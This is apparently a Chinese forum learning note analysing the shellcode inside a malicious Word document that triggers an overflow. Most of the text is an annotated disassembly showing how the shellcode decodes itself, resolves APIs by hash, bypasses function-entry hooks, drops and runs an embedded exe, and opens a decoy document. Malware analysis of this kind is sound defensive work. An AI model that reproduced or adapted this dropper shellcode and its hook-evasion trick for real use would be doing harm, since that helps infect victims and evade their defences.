【文章标题】: 一个word溢出样本的shellcode分析
【文章作者】: 守卫者
【下载地址】: 请自行搜索
【作者声明】: 本文是小菜的学习笔记,请轻拍

前几天从网上下载一个doc文档,打开时360竟然立即提示“远线程注入危险行为”。
我很是奇怪,怎么打开一个doc文档也引起报警。仔细查找原因,原来这个doc文档竟然会使
word发生溢出。发生溢出后释放了一个exe格式的病毒文件,幸好这个病毒运行时被360拦
截了,不然我就中招了 

我一时兴起,就把这个doc文档的shellcode跟踪了一遍。
因为以前也做过几次,所以轻车熟路 
下面是shellcode的汇编分析,不知道怎么弄语法高亮,大家凑合吧 

代码:
shellcode分析
------------------


00121CF8     41                       inc     ecx
00121CF9     41                       inc     ecx
00121CFA     41                       inc     ecx
00121CFB     41                       inc     ecx
00121CFC     41                       inc     ecx
00121CFD     41                       inc     ecx
00121CFE     41                       inc     ecx
00121CFF     41                       inc     ecx
00121D00     E8 01000000              call    00121D06

00121D06     8B0C24                   mov     ecx, dword ptr [esp]
00121D09     83C4 04                  add     esp, 4
00121D0C     8D49 12                  lea     ecx, dword ptr [ecx+12]
00121D0F     41                       inc     ecx<----------------------+
00121D10     8031 67                  xor     byte ptr [ecx], 67  | ; 通过循环解密出下面的代码,下面所有代码都是由这个循环解密出来的
00121D13     8039 90                  cmp     byte ptr [ecx], 90  |
00121D16   ^ 75 F7                    jnz     short 00121D0F------------+  
00121D18     6A 07                    push    7    ; 正常doc文件名大小
00121D1A     68 9D8B0000              push    8B9D  ; 正常doc文件名偏移
00121D1F     68 000A0000              push    0A00  ; exe文件大小
00121D24     68 9D810000              push    819D  ; exe文件偏移
00121D29     68 004E0000              push    4E00  ; 正常doc文件大小
00121D2E     68 A48B0000              push    8BA4  ; 正常doc文件偏移
00121D33     6A 00                    push    0    ; 
00121D35     68 A4D90000              push    0D9A4  ; 样本文件的大小
00121D3A     54                       push    esp
00121D3B     FC                       cld
00121D3C     68 9332E494              push    94E43293----------+
00121D41     68 C48D1F74              push    741F8DC4    |
00121D46     68 B2360F13              push    130F36B2    |
00121D4B     68 57660DFF              push    FF0D6657    |
00121D50     68 512FA201              push    1A22F51    |
00121D55     68 39E27D83              push    837DE239    | ; 这些是API函数名的Hash值
00121D5A     68 8FF21861              push    6118F28F    | ; shellcode使用API函数时,需要自己确定API函数
00121D5F     68 43BEACDB              push    DBACBE43    | ; 的地址。
00121D64     68 EDAFFFB4              push    B4FFAFED    | ; 这里保存的函数名Hash值,有助于以后查找这些
00121D69     68 A92299A1              push    A19922A9    | ; 函数的内存地址。
00121D6E     68 8E130AAC              push    AC0A138E    |
00121D73     68 9B878BE5              push    E58B879B----------+
00121D78     8BF4                     mov     esi, esp
00121D7A     8D7E D0                  lea     edi, dword ptr [esi-30]
00121D7D     33DB                     xor     ebx, ebx
00121D7F     B7 04                    mov     bh, 4
00121D81     2BE3                     sub     esp, ebx
00121D83     54                       push    esp
00121D84     33D2                     xor     edx, edx--------------------------+
00121D86     64:8B5A 30               mov     ebx, dword ptr fs:[edx+30]  |
00121D8A     8B4B 0C                  mov     ecx, dword ptr [ebx+C]    |
00121D8D     8B49 1C                  mov     ecx, dword ptr [ecx+1C]    | ; 取得kernel32的基地址,保存到ebp
00121D90     8B09                     mov     ecx, dword ptr [ecx]    |
00121D92     8B69 08                  mov     ebp, dword ptr [ecx+8]------------+
00121D95     AD                       lods    dword ptr [esi]-------------------+
00121D96     3D 9332E494              cmp     eax, 94E43293      |
00121D9B     75 00                    jnz     short 00121D9D      |
00121D9D     60                       pushad          |
00121D9E     8B45 3C                  mov     eax, dword ptr [ebp+3C]    |
00121DA1     8B4C05 78                mov     ecx, dword ptr [ebp+eax+78]  |
00121DA5     03CD                     add     ecx, ebp        |
00121DA7     8B59 20                  mov     ebx, dword ptr [ecx+20]    | ; 获取API函数的地址
00121DAA     03DD                     add     ebx, ebp        | ; 通过枚举kernel32模块的导出表,来查找
00121DAC     33FF                     xor     edi, edi        | ; shellcode需要使用的API函数的地址。
00121DAE     47                       inc     edi        | ; 在枚举kernel32的导出表时,通过和以上
00121DAF     8B34BB                   mov     esi, dword ptr [ebx+edi*4]  | ; Hash值比较,找出目标API。
00121DB2     03F5                     add     esi, ebp        | ; 
00121DB4     99                       cdq          | ; 
00121DB5     0FBE06                   movsx   eax, byte ptr [esi]    | ; 
00121DB8     3AC4                     cmp     al, ah        |
00121DBA     74 08                    je      short 00121DC4      |
00121DBC     C1CA 07                  ror     edx, 7        |
00121DBF     03D0                     add     edx, eax        |
00121DC1     46                       inc     esi        |
00121DC2   ^ EB F1                    jmp     short 00121DB5      |
00121DC4     3B5424 1C                cmp     edx, dword ptr [esp+1C]    |
00121DC8   ^ 75 E4                    jnz     short 00121DAE      |
00121DCA     8B59 24                  mov     ebx, dword ptr [ecx+24]    |
00121DCD     03DD                     add     ebx, ebp        |
00121DCF     66:8B3C7B                mov     di, word ptr [ebx+edi*2]    |
00121DD3     8B59 1C                  mov     ebx, dword ptr [ecx+1C]    |
00121DD6     03DD                     add     ebx, ebp        |
00121DD8     032CBB                   add     ebp, dword ptr [ebx+edi*4]  |
00121DDB     95                       xchg    eax, ebp        |
00121DDC     5F                       pop     edi        |
00121DDD     AB                       stos    dword ptr es:[edi]    |
00121DDE     57                       push    edi        |
00121DDF     61                       popad          |
00121DE0     3D 9332E494              cmp     eax, 94E43293      |
00121DE5   ^ 75 AE                    jnz     short 00121D95--------------------+
00121DE7     81EC 00080000            sub     esp, 800
00121DED     8BEC                     mov     ebp, esp
00121DEF     8B47 FC                  mov     eax, dword ptr [edi-4]
00121DF2     83C0 05                  add     eax, 5
00121DF5     8947 FC                  mov     dword ptr [edi-4], eax
00121DF8     8B47 EC                  mov     eax, dword ptr [edi-14]
00121DFB     83C0 05                  add     eax, 5
00121DFE     8947 EC                  mov     dword ptr [edi-14], eax
00121E01     33DB                     xor     ebx, ebx------------------+
00121E03     6A 00                    push    0        |
00121E05     53                       push    ebx      |
00121E06     FF57 D4                  call    dword ptr [edi-2C]  | ; 通过循环调用GetFileSize,找到样本文件在溢出进程中的句柄
00121E09     3B47 34                  cmp     eax, dword ptr [edi+34]  |
00121E0C     74 05                    je      short 00121E13    |
00121E0E     83C3 04                  add     ebx, 4      |
00121E11   ^ EB F0                    jmp     short 00121E03------------+
00121E13     895F 38                  mov     dword ptr [edi+38], ebx    ; 把样本文件的句柄到[edi+38]
00121E16     83C5 08                  add     ebp, 8
00121E19     55                       push    ebp      ;
00121E1A     68 00010000              push    100      ;
00121E1F     FF57 E8                  call    dword ptr [edi-18]  ; Call GetTempPathA,取得临时目录的路径
00121E22     8DB5 00010000            lea     esi, dword ptr [ebp+100]
00121E28     56                       push    esi       ;
00121E29     6A 00                    push    0         ;
00121E2B     6A 00                    push    0         ;
00121E2D     55                       push    ebp       ;
00121E2E     FF57 D8                  call    dword ptr [edi-28]   ; Call GetTempFileNameA,获取一个临时文件的名称
00121E31     6A 00                    push    0---------------------------------+
00121E33     6A 00                    push    0          |
00121E35     6A 02                    push    2          |
00121E37     6A 00                    push    0          |
00121E39     6A 00                    push    0          |
00121E3B     68 00000040              push    40000000        | ; 调用CreateFile在临时目录创建新文件(shellcode会释放一个exe)
00121E40     56                       push    esi        | ; 这里没有按照常规的方式调用API
00121E41     E8 00000000              call    00121E46        | ; 首先是shellcode自己执行了CreateFile函数的头两句指令
00121E46     58                       pop     eax        | ; 然后自己把返回地址压入堆栈
00121E47     83C0 0D                  add     eax, 0D        | ; 最后使用jmp指令条到CreateFile函数的第3条指令去执行
00121E4A     50                       push    eax        | ; 
00121E4B     55                       push    ebp        | ; 这样做的好处是避开了一些在函数头的hook
00121E4C     8BEC                     mov     ebp, esp        |
00121E4E     8B47 FC                  mov     eax, dword ptr [edi-4]    |
00121E51     FFE0                     jmp     eax-------------------------------+
00121E53     83F8 00                  cmp     eax, 0
00121E56     0F8E E1010000            jle     0012203D
00121E5C     8985 00060000            mov     dword ptr [ebp+600], eax    ; 新文件的句柄保存在[ebp+600]
00121E62     8B5F 44                  mov     ebx, dword ptr [edi+44]    ; 取得要释放的exe文件在样本文件中的偏移
00121E65     8B77 38                  mov     esi, dword ptr [edi+38]    ; 从[edi+38]取得样本文件的句柄
00121E68     6A 00                    push    0        ;
00121E6A     6A 00                    push    0        ;
00121E6C     53                       push    ebx      ;
00121E6D     56                       push    esi      ;
00121E6E     FF57 E0                  call    dword ptr [edi-20]  ; Call SetFilePointer,把样本文件的指针定位到要释放的exe文件那里
00121E71     8B5F 48                  mov     ebx, dword ptr [edi+48]    ; 取得要释放的exe的文件大小
00121E74     C785 04060000 00040000   mov     dword ptr [ebp+604], 400
00121E7E     6A 00                    push    0<------------------------------------------------------------------------+
00121E80     8D85 00070000            lea     eax, dword ptr [ebp+700]  ;            |
00121E86     50                       push    eax      ;            |
00121E87     68 00040000              push    400      ;            |
00121E8C     8D85 00020000            lea     eax, dword ptr [ebp+200]  ;            |
00121E92     50                       push    eax      ;            |
00121E93     8B77 38                  mov     esi, dword ptr [edi+38]  ;            |
00121E96     56                       push    esi      ;            |
00121E97     FF57 F4                  call    dword ptr [edi-C]    ; Call ReadFile,从样本文件中读取exe的数据  |
00121E9A     8BC3                     mov     eax, ebx                  |
00121E9C     2D 00040000              sub     eax, 400                  |
00121EA1     83F8 00                  cmp     eax, 0                  |
00121EA4     7F 06                    jg      short 00121EAC                |
00121EA6     899D 04060000            mov     dword ptr [ebp+604], ebx              |
00121EAC     33C9                     xor     ecx, ecx                  |
00121EAE     8DB40D 00020000          lea     esi, dword ptr [ebp+ecx+200]<-----+          | ; 循环释放样本文件中捆绑的exe
00121EB5     AC                       lods    byte ptr [esi]      |          |
00121EB6     32C1                     xor     al, cl        |          |
00121EB8     87FA                     xchg    edx, edi        |          |
00121EBA     8DBC0D 00020000          lea     edi, dword ptr [ebp+ecx+200]  |          |
00121EC1     AA                       stos    byte ptr es:[edi]      | ; 对读取出的数据进行解密    |
00121EC2     87FA                     xchg    edx, edi        |          |
00121EC4     41                       inc     ecx        |          |
00121EC5     3B8D 04060000            cmp     ecx, dword ptr [ebp+604]    |          |
00121ECB   ^ 75 E1                    jnz     short 00121EAE--------------------+          |
00121ECD     6A 00                    push    0        ;            |
00121ECF     8D85 04070000            lea     eax, dword ptr [ebp+704]  ;            |
00121ED5     50                       push    eax      ;            |
00121ED6     FFB5 04060000            push    dword ptr [ebp+604]  ;            |
00121EDC     8D85 00020000            lea     eax, dword ptr [ebp+200]  ;            |
00121EE2     50                       push    eax      ;            |
00121EE3     FFB5 00060000            push    dword ptr [ebp+600]  ;            |
00121EE9     FF57 F8                  call    dword ptr [edi-8]    ; Call WriteFile,把解密出的数据写入新文件  |
00121EEC     81EB 00040000            sub     ebx, 400                  |
00121EF2     83FB 00                  cmp     ebx, 0                  |
00121EF5   ^ 7F 87                    jg      short 00121E7E------------------------------------------------------------+
00121EF7     FFB5 00060000            push    dword ptr [ebp+600]
00121EFD     FF57 F0                  call    dword ptr [edi-10]  ; Call CloseHandle
00121F00     6A 00                    push    0---------------------------------+
00121F02     8DB5 00010000            lea     esi, dword ptr [ebp+100]    |
00121F08     56                       push    esi        |
00121F09     E8 00000000              call    00121F0E        | ; 调用WinExec来运行释放出的exe
00121F0E     58                       pop     eax        | ; 调用时使用了非常规的调用方式
00121F0F     83C0 0D                  add     eax, 0D        | ; 与上面调用CreateFile函数一样
00121F12     50                       push    eax        | ; 直接从函数的第3条指令开始执行
00121F13     55                       push    ebp        | ; 
00121F14     8BEC                     mov     ebp, esp        | ; 
00121F16     8B47 EC                  mov     eax, dword ptr [edi-14]    |
00121F19     FFE0                     jmp     eax-------------------------------+
00121F1B     6A 00                    push    0        ;
00121F1D     6A 00                    push    0        ;  
00121F1F     FF77 4C                  push    dword ptr [edi+4C]  ; 把文件指针移动到样本文件中存放正常doc文件文件名的地方
00121F22     FF77 38                  push    dword ptr [edi+38]  ;
00121F25     FF57 E0                  call    dword ptr [edi-20]  ;
00121F28     6A 00                    push    0          ;  
00121F2A     8D85 00070000            lea     eax, dword ptr [ebp+700]    ;
00121F30     50                       push    eax        ;
00121F31     FF77 50                  push    dword ptr [edi+50]    ; 读取正常doc文件的文件名
00121F34     8D85 00010000            lea     eax, dword ptr [ebp+100]    ;
00121F3A     50                       push    eax        ;
00121F3B     FF77 38                  push    dword ptr [edi+38]    ;
00121F3E     FF57 F4                  call    dword ptr [edi-C]      ;
00121F41     33C0                     xor     eax, eax  --------------------------------+
00121F43     40                       inc     eax          |
00121F44     807C05 00 00             cmp     byte ptr [ebp+eax], 0      |
00121F49   ^ 75 F8                    jnz     short 00121F43        |
00121F4B     8B4F 50                  mov     ecx, dword ptr [edi+50]      | ; 把临时目录的路径和正常doc的文件名组合到一起
00121F4E     87FB                     xchg    ebx, edi          |
00121F50     8D7C05 00                lea     edi, dword ptr [ebp+eax]      |
00121F54     8DB5 00010000            lea     esi, dword ptr [ebp+100]      |
00121F5A     F3:A4                    rep     movs byte ptr es:[edi], byte ptr [esi]  |
00121F5C     87FB                     xchg    ebx, edi----------------------------------+
00121F5E     6A 00                    push    0---------------------------------+
00121F60     6A 00                    push    0          |
00121F62     6A 02                    push    2          |
00121F64     6A 00                    push    0          |
00121F66     6A 00                    push    0          |
00121F68     68 00000040              push    40000000        |
00121F6D     55                       push    ebp        | ; 调用CreateFile在临时目录创建正常的doc文件
00121F6E     E8 00000000              call    00121F73        | ; 非常规调用方式
00121F73     58                       pop     eax        |
00121F74     83C0 0D                  add     eax, 0D        |
00121F77     50                       push    eax        |
00121F78     55                       push    ebp        |
00121F79     8BEC                     mov     ebp, esp        |
00121F7B     8B47 FC                  mov     eax, dword ptr [edi-4]    |
00121F7E     FFE0                     jmp     eax-------------------------------+
00121F80     83F8 00                  cmp     eax, 0
00121F83     0F8E B1000000            jle     0012203A
00121F89     8985 00060000            mov     dword ptr [ebp+600], eax  ; 保存正常doc文件的句柄到[ebp+600]
00121F8F     8B5F 3C                  mov     ebx, dword ptr [edi+3C]    ;
00121F92     8B77 38                  mov     esi, dword ptr [edi+38]    ;
00121F95     6A 00                    push    0          ;
00121F97     6A 00                    push    0          ;
00121F99     53                       push    ebx        ; 这些代码似乎没有意义
00121F9A     56                       push    esi        ;
00121F9B     FF57 E0                  call    dword ptr [edi-20]    ;
00121F9E     8B5F 40                  mov     ebx, dword ptr [edi+40]  ; 获取正常doc的文件大小
00121FA1     C785 04060000 00040000   mov     dword ptr [ebp+604], 400
00121FAB     8B47 34                  mov     eax, dword ptr [edi+34]<--------------------------------------------------+
00121FAE     2BC3                     sub     eax, ebx                  |
00121FB0     6A 00                    push    0                    |
00121FB2     6A 00                    push    0                    |
00121FB4     50                       push    eax                  |
00121FB5     56                       push    esi                  |
00121FB6     FF57 E0                  call    dword ptr [edi-20]  ; Call SetFilePointer,移动样本文件的文件指针  |
00121FB9     6A 00                    push    0                    |
00121FBB     8D85 00070000            lea     eax, dword ptr [ebp+700]              |
00121FC1     50                       push    eax                  |
00121FC2     68 00040000              push    400                  |
00121FC7     8D85 00020000            lea     eax, dword ptr [ebp+200]              |
00121FCD     50                       push    eax                  |
00121FCE     56                       push    esi                  |
00121FCF     FF57 F4                  call    dword ptr [edi-C]    ; Call ReadFile,从样本文件中读取正常doc的数据  |
00121FD2     8BC3                     mov     eax, ebx                  |
00121FD4     2D 00040000              sub     eax, 400                  |
00121FD9     83F8 00                  cmp     eax, 0                  | ; 循环释放正常的doc
00121FDC     7F 06                    jg      short 00121FE4                | ; 正常的doc就附加在样本文件的尾部
00121FDE     899D 04060000            mov     dword ptr [ebp+604], ebx              | ; 呈未加密状态
00121FE4     8B47 40                  mov     eax, dword ptr [edi+40]              |
00121FE7     2BC3                     sub     eax, ebx                  |
00121FE9     6A 00                    push    0                    |
00121FEB     8D85 04070000            lea     eax, dword ptr [ebp+704]              |
00121FF1     50                       push    eax                  |
00121FF2     FFB5 04060000            push    dword ptr [ebp+604]              |
00121FF8     8D85 00020000            lea     eax, dword ptr [ebp+200]              |
00121FFE     50                       push    eax                  |
00121FFF     FFB5 00060000            push    dword ptr [ebp+600]              |
00122005     FF57 F8                  call    dword ptr [edi-8]    ; Call WriteFile,把数据写入新文件    |
00122008     41                       inc     ecx                  |
00122009     41                       inc     ecx                  |
0012200A     49                       dec     ecx                  |
0012200B     49                       dec     ecx                  |
0012200C     81EB 00040000            sub     ebx, 400                  |
00122012     83FB 00                  cmp     ebx, 0                  |
00122015   ^ 7F 94                    jg      short 00121FAB------------------------------------------------------------+
00122017     FFB5 00060000            push    dword ptr [ebp+600]
0012201D     FF57 F0                  call    dword ptr [edi-10]  ; CloseHandle
00122020     6A 00                    push    0
00122022     FF57 D0                  call    dword ptr [edi-30]  ; GetCommandLine,这个调用好象是多余的
00122025     83ED 07                  sub     ebp, 7        ;
00122028     C745 FF 00636D64         mov     dword ptr [ebp-1], 646D6300  ; 构造出字符串"cmd.exe \c c:\temp\正常doc文件.doc"
0012202F     C745 03 202F6320         mov     dword ptr [ebp+3], 20632F20  ;
00122036     6A 00                    push    0-------------------------+
00122038     55                       push    ebp      |
00122039     E8 00000000              call    0012203E      |
0012203E     58                       pop     eax      | ; 非常规方式调用WinExec
0012203F     83C0 0D                  add     eax, 0D      | ; WinExec("cmd.exe \c c:\temp\正常doc文件.doc", 0)
00122042     50                       push    eax      | ; 使用以上命令调用WinExec函数
00122043     55                       push    ebp      | ; 打开正常的doc文件
00122044     8BEC                     mov     ebp, esp      | ;
00122046     8B47 EC                  mov     eax, dword ptr [edi-14]  |
00122049     FFE0                     jmp     eax-----------------------+
0012204B     6A 00                    push    0
0012204D     6A FF                    push    -1
0012204F     FF57 E4                  call    dword ptr [edi-1C]  ; TerminateProcess(-1, 0),退出发生溢出的word进程
00122052     90                       nop
00122053     F7F7                     div     edi
00122055     F7F7                     div     edi
00122057     F7F7                     div     edi